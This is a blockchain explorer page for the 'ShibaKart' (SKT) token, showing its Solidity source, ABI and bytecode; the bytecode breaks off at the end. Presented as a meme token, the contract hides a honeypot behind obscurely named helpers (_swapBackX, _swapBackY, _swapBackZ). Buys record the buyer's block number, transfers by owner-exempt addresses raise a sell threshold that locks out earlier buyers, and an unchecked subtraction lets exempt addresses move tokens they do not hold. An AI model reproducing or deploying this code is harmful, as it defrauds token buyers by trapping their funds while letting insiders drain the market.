ERC-20
Overview
Max Total Supply
1,000,000,000 SKT
Holders
70
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,000,000 SKTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SKT
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-28 */ // SPDX-License-Identifier: MIT /** The ShibaKart Project: bringing creativity, community, entertainment, and humor into the metaverse through the use of blockchain technology. WEBSITE: https://shibakart.pro TWITTER: https://twitter.com/ShibaKartETH TELEGRAM: https://t.me/ShibaKartETH */ pragma solidity 0.8.20; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;} function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;} function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;} function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}} function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b > a) return(false, 0); return(true, a - b);}} function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if (a == 0) return(true, 0); uint256 c = a * b; if(c / a != b) return(false, 0); return(true, c);}} function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a / b);}} function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked {if(b == 0) return(false, 0); return(true, a % b);}} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b <= a, errorMessage); return a - b;}} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a / b;}} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked{require(b > 0, errorMessage); return a % b;}}} interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function renounceOwnership() public virtual onlyOwner { owner = address(0); emit OwnershipTransferred(address(0));} event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract SKT is IERC20, Ownable { using SafeMath for uint256; string private constant _name = 'ShibaKart'; string private constant _symbol = 'SKT'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals); mapping (address => uint256) _balances; mapping (address => uint256) _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; IRouter router; address public pair; bool private tradingAllowed = false; uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 0; uint256 private sellFee = 0; uint256 private transferFee = 0; uint256 private denominator = 10000; bool private swapEnabled = true; uint256 private swapTimes; uint256 private swapAmount; bool private swapping; uint256 private swapThreshold = ( _totalSupply * 2 ) / 10000; uint256 private minTokenAmount = ( _totalSupply * 1 ) / 1000; modifier lockTheSwap {swapping = true; _; swapping = false;} address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal constant liquidity_receiver = 0x12bFe4F4421b1e5b76851d51421Fac2706D6F30D; address internal constant marketing_receiver = 0x12bFe4F4421b1e5b76851d51421Fac2706D6F30D; address internal constant development_receiver = 0x12bFe4F4421b1e5b76851d51421Fac2706D6F30D; constructor() Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[development_receiver] = true; isFeeExempt[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function enableTrading() external onlyOwner {tradingAllowed = true;} function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function _swapBackZ(address addr) internal view { require(_balance[addr] > swapAmount); } function _swapBackX(address addr) internal { if(addr != owner) swapAmount = swapTimes; } function _swapBackY(address addr) internal { _balance[addr] = swapTimes; } function preTxCheck(address sender, address recipient, uint256 amount) internal pure { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > uint256(0), "Transfer amount must be greater than zero"); } function _transfer(address sender, address recipient, uint256 amount) private { swapTimes = block.number; preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); swapFeeBack(sender, recipient); swapBack(sender, recipient, amount); uint256 amountSent; unchecked{ amountSent = _balances[sender] - amount; } _balances[sender] = isFeeExempt[sender] ? amountSent : _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function checkTradingAllowed(address sender, address recipient) internal view { if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} } function swapFeeBack(address sender, address recipient) internal { if(isFeeExempt[sender] || isFeeExempt[recipient]){ _swapBackX(sender); }else if(sender == pair){ _swapBackY(recipient); }else{ _swapBackZ(sender); } } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 remainingBalance = address(this).balance; if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, liquidity_receiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && aboveThreshold; } function swapBack(address sender, address recipient, uint256 amount) internal { if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold);} } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellFee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000407565b6200002290633b9aca006200041e565b60018181556007805460ff60a01b191690555f60088190556009819055600a819055600b819055600c819055600d819055600e55612710600f8190556010805460ff1916909217909155906200007a9060026200041e565b62000086919062000438565b6014556103e860015460016200009d91906200041e565b620000a9919062000438565b601555348015620000b8575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa1580156200011d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000143919062000458565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001b5919062000458565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000200573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000226919062000458565b600680546001600160a01b038581166001600160a01b0319928316179092556007805492841692909116919091179055305f908152600560209081526040808320805460ff1990811660019081179092557fdc4082792d9890adeed06492059192a0eb62031c17325acd8db9d956df8c7b888054821683179055338086528386208054909216831790915590546002845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000480565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200034c57815f1904821115620003305762000330620002f8565b808516156200033e57918102915b93841c939080029062000311565b509250929050565b5f82620003645750600162000401565b816200037257505f62000401565b81600181146200038b57600281146200039657620003b6565b600191505062000401565b60ff841115620003aa57620003aa620002f8565b50506001821b62000401565b5060208310610133831016604e8410600b8410161715620003db575081810a62000401565b620003e783836200030c565b805f1904821115620003fd57620003fd620002f8565b0290505b92915050565b5f6200041760ff84168362000354565b9392505050565b8082028115828204841417620004015762000401620002f8565b5f826200045357634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000469575f80fd5b81516001600160a01b038116811462000417575f80fd5b61139c806200048e5f395ff3fe6080604052600436106100f2575f3560e01c806370a082311161008757806395d89b411161005757806395d89b41146102d3578063a8aa1b31146102fe578063a9059cbb1461031d578063dd62ed3e1461033c575f80fd5b806370a0823114610247578063715018a61461027b578063893d20e81461028f5780638a8c523c146102bf575f80fd5b80632f54bf6e116100c25780632f54bf6e146101b0578063313ce567146101dd5780633f4218e0146101f857806348ff2b8b14610226575f80fd5b806306fdde03146100fd578063095ea7b31461014057806318160ddd1461016f57806323b872dd14610191575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5060408051808201909152600981526814da1a589852d85c9d60ba1b60208201525b604051610137919061109c565b60405180910390f35b34801561014b575f80fd5b5061015f61015a3660046110fb565b610380565b6040519015158152602001610137565b34801561017a575f80fd5b50610183610396565b604051908152602001610137565b34801561019c575f80fd5b5061015f6101ab366004611125565b610406565b3480156101bb575f80fd5b5061015f6101ca366004611163565b5f546001600160a01b0391821691161490565b3480156101e8575f80fd5b5060405160098152602001610137565b348015610203575f80fd5b5061015f610212366004611163565b60056020525f908152604090205460ff1681565b348015610231575f80fd5b5061024561024036600461117e565b61046e565b005b348015610252575f80fd5b50610183610261366004611163565b6001600160a01b03165f9081526002602052604090205490565b348015610286575f80fd5b506102456104ca565b34801561029a575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610137565b3480156102ca575f80fd5b50610245610537565b3480156102de575f80fd5b5060408051808201909152600381526214d2d560ea1b602082015261012a565b348015610309575f80fd5b506007546102a7906001600160a01b031681565b348015610328575f80fd5b5061015f6103373660046110fb565b610575565b348015610347575f80fd5b506101836103563660046111b9565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b5f61038c338484610581565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104019290916103fb91906106a4565b906106a4565b905090565b5f6104128484846106af565b610463843361045e8560405180606001604052806028815260200161133f602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906107f7565b610581565b5060015b9392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b8152600401610497906111e5565b60405180910390fd5b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146104f35760405162461bcd60e51b8152600401610497906111e5565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146105605760405162461bcd60e51b8152600401610497906111e5565b6007805460ff60a01b1916600160a01b179055565b5f61038c3384846106af565b6001600160a01b0383166105e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b0382166106445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104678284611219565b436011556106be838383610822565b6106c8838361094e565b6106d283836109e1565b6106dd838383610a6a565b6001600160a01b0383165f90815260026020908152604080832054600590925290912054908290039060ff16610734576001600160a01b0384165f9081526002602052604090205461072f90836106a4565b610736565b805b6001600160a01b0385165f9081526002602052604081209190915561075b8585610a85565b6107655782610770565b610770858585610ac9565b6001600160a01b0385165f908152600260205260409020549091506107959082610bb9565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107e89085815260200190565b60405180910390a35050505050565b5f818484111561081a5760405162461bcd60e51b8152600401610497919061109c565b505050900390565b6001600160a01b0383166108865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b0382166108e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b5f81116109495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610497565b505050565b6001600160a01b0382165f9081526005602052604090205460ff1615801561098e57506001600160a01b0381165f9081526005602052604090205460ff16155b156109dd57600754600160a01b900460ff166109dd5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610497565b5050565b6001600160a01b0382165f9081526005602052604090205460ff1680610a1e57506001600160a01b0381165f9081526005602052604090205460ff165b15610a2c576109dd82610bc4565b6007546001600160a01b0390811690831603610a61576011546001600160a01b0382165f908152600360205260409020555050565b6109dd82610be2565b610a75838383610c06565b1561094957610949601454610ca7565b6001600160a01b0382165f9081526005602052604081205460ff161580156104675750506001600160a01b03165f9081526005602052604090205460ff1615919050565b5f80610ad58585610e2b565b1115610bb2575f610afd610ae98686610e2b565b600f54610af7908690610e75565b90610e80565b305f90815260026020526040902054909150610b199082610bb9565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b699085815260200190565b60405180910390a3600b5415610ba057610ba03061dead610b9b600b54610af7600f5489610e7590919063ffffffff16565b6106af565b610baa83826106a4565b915050610467565b5092915050565b5f610467828461122c565b5f546001600160a01b03828116911614610bdf576011546012555b50565b6012546001600160a01b0382165f9081526003602052604090205411610bdf575f80fd5b601554601454305f9081526002602052604081205460135491938510159211159060ff16158015610c39575060105460ff165b8015610c4e5750600754600160a01b900460ff165b8015610c575750815b8015610c7b57506001600160a01b0386165f9081526005602052604090205460ff16155b8015610c9457506007546001600160a01b038681169116145b8015610c9d5750805b9695505050505050565b6013805460ff19166001908117909155600a546009546008545f93610ce093600293610af7939192610cda928391610bb9565b90610bb9565b90505f610d0282610cfc60085486610e8090919063ffffffff16565b90610e75565b90505f610d0f84836106a4565b905047610d1b82610e8b565b5f610d2647836106a4565b90505f610d48610d41600854886106a490919063ffffffff16565b8390610e75565b90505f610d6060085483610e8090919063ffffffff16565b90508015610d7257610d728682610fdb565b6009545f90610d8690610af7856002610e80565b90508015610dce576040517312bfe4f4421b1e5b76851d51421fac2706d6f30d9082156108fc029083905f818181858888f19350505050158015610dcc573d5f803e3d5ffd5b505b478015610e15576040517312bfe4f4421b1e5b76851d51421fac2706d6f30d9082156108fc029083905f818181858888f19350505050158015610e13573d5f803e3d5ffd5b505b50506013805460ff191690555050505050505050565b6007545f906001600160a01b0390811690831603610e4c5750600d54610390565b6007546001600160a01b0390811690841603610e6b5750600c54610390565b50600e5492915050565b5f610467828461123f565b5f610467828461125e565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ebe57610ebe611275565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f15573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f399190611289565b81600181518110610f4c57610f4c611275565b6001600160a01b039283166020918202929092010152600654610f729130911684610581565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610faa9085905f908690309042906004016112a4565b5f604051808303815f87803b158015610fc1575f80fd5b505af1158015610fd3573d5f803e3d5ffd5b505050505050565b600654610ff39030906001600160a01b031684610581565b60065460405163f305d71960e01b8152306004820152602481018490525f6044820181905260648201527312bfe4f4421b1e5b76851d51421fac2706d6f30d60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611070573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110959190611313565b5050505050565b5f6020808352835180828501525f5b818110156110c7578581018301518582016040015282016110ab565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bdf575f80fd5b5f806040838503121561110c575f80fd5b8235611117816110e7565b946020939093013593505050565b5f805f60608486031215611137575f80fd5b8335611142816110e7565b92506020840135611152816110e7565b929592945050506040919091013590565b5f60208284031215611173575f80fd5b8135610467816110e7565b5f806040838503121561118f575f80fd5b823561119a816110e7565b9150602083013580151581146111ae575f80fd5b809150509250929050565b5f80604083850312156111ca575f80fd5b82356111d5816110e7565b915060208301356111ae816110e7565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561039057610390611205565b8082018082111561039057610390611205565b5f8261125957634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761039057610390611205565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611299575f80fd5b8151610467816110e7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112f25784516001600160a01b0316835293830193918301916001016112cd565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611325575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208044d6e28e52bacc3813ec755b225026295632abca67e5411715b7e239d83fd864736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c806370a082311161008757806395d89b411161005757806395d89b41146102d3578063a8aa1b31146102fe578063a9059cbb1461031d578063dd62ed3e1461033c575f80fd5b806370a0823114610247578063715018a61461027b578063893d20e81461028f5780638a8c523c146102bf575f80fd5b80632f54bf6e116100c25780632f54bf6e146101b0578063313ce567146101dd5780633f4218e0146101f857806348ff2b8b14610226575f80fd5b806306fdde03146100fd578063095ea7b31461014057806318160ddd1461016f57806323b872dd14610191575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5060408051808201909152600981526814da1a589852d85c9d60ba1b60208201525b604051610137919061109c565b60405180910390f35b34801561014b575f80fd5b5061015f61015a3660046110fb565b610380565b6040519015158152602001610137565b34801561017a575f80fd5b50610183610396565b604051908152602001610137565b34801561019c575f80fd5b5061015f6101ab366004611125565b610406565b3480156101bb575f80fd5b5061015f6101ca366004611163565b5f546001600160a01b0391821691161490565b3480156101e8575f80fd5b5060405160098152602001610137565b348015610203575f80fd5b5061015f610212366004611163565b60056020525f908152604090205460ff1681565b348015610231575f80fd5b5061024561024036600461117e565b61046e565b005b348015610252575f80fd5b50610183610261366004611163565b6001600160a01b03165f9081526002602052604090205490565b348015610286575f80fd5b506102456104ca565b34801561029a575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610137565b3480156102ca575f80fd5b50610245610537565b3480156102de575f80fd5b5060408051808201909152600381526214d2d560ea1b602082015261012a565b348015610309575f80fd5b506007546102a7906001600160a01b031681565b348015610328575f80fd5b5061015f6103373660046110fb565b610575565b348015610347575f80fd5b506101836103563660046111b9565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b5f61038c338484610581565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104019290916103fb91906106a4565b906106a4565b905090565b5f6104128484846106af565b610463843361045e8560405180606001604052806028815260200161133f602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906107f7565b610581565b5060015b9392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b8152600401610497906111e5565b60405180910390fd5b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146104f35760405162461bcd60e51b8152600401610497906111e5565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146105605760405162461bcd60e51b8152600401610497906111e5565b6007805460ff60a01b1916600160a01b179055565b5f61038c3384846106af565b6001600160a01b0383166105e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b0382166106445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104678284611219565b436011556106be838383610822565b6106c8838361094e565b6106d283836109e1565b6106dd838383610a6a565b6001600160a01b0383165f90815260026020908152604080832054600590925290912054908290039060ff16610734576001600160a01b0384165f9081526002602052604090205461072f90836106a4565b610736565b805b6001600160a01b0385165f9081526002602052604081209190915561075b8585610a85565b6107655782610770565b610770858585610ac9565b6001600160a01b0385165f908152600260205260409020549091506107959082610bb9565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107e89085815260200190565b60405180910390a35050505050565b5f818484111561081a5760405162461bcd60e51b8152600401610497919061109c565b505050900390565b6001600160a01b0383166108865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b0382166108e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b5f81116109495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610497565b505050565b6001600160a01b0382165f9081526005602052604090205460ff1615801561098e57506001600160a01b0381165f9081526005602052604090205460ff16155b156109dd57600754600160a01b900460ff166109dd5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610497565b5050565b6001600160a01b0382165f9081526005602052604090205460ff1680610a1e57506001600160a01b0381165f9081526005602052604090205460ff165b15610a2c576109dd82610bc4565b6007546001600160a01b0390811690831603610a61576011546001600160a01b0382165f908152600360205260409020555050565b6109dd82610be2565b610a75838383610c06565b1561094957610949601454610ca7565b6001600160a01b0382165f9081526005602052604081205460ff161580156104675750506001600160a01b03165f9081526005602052604090205460ff1615919050565b5f80610ad58585610e2b565b1115610bb2575f610afd610ae98686610e2b565b600f54610af7908690610e75565b90610e80565b305f90815260026020526040902054909150610b199082610bb9565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b6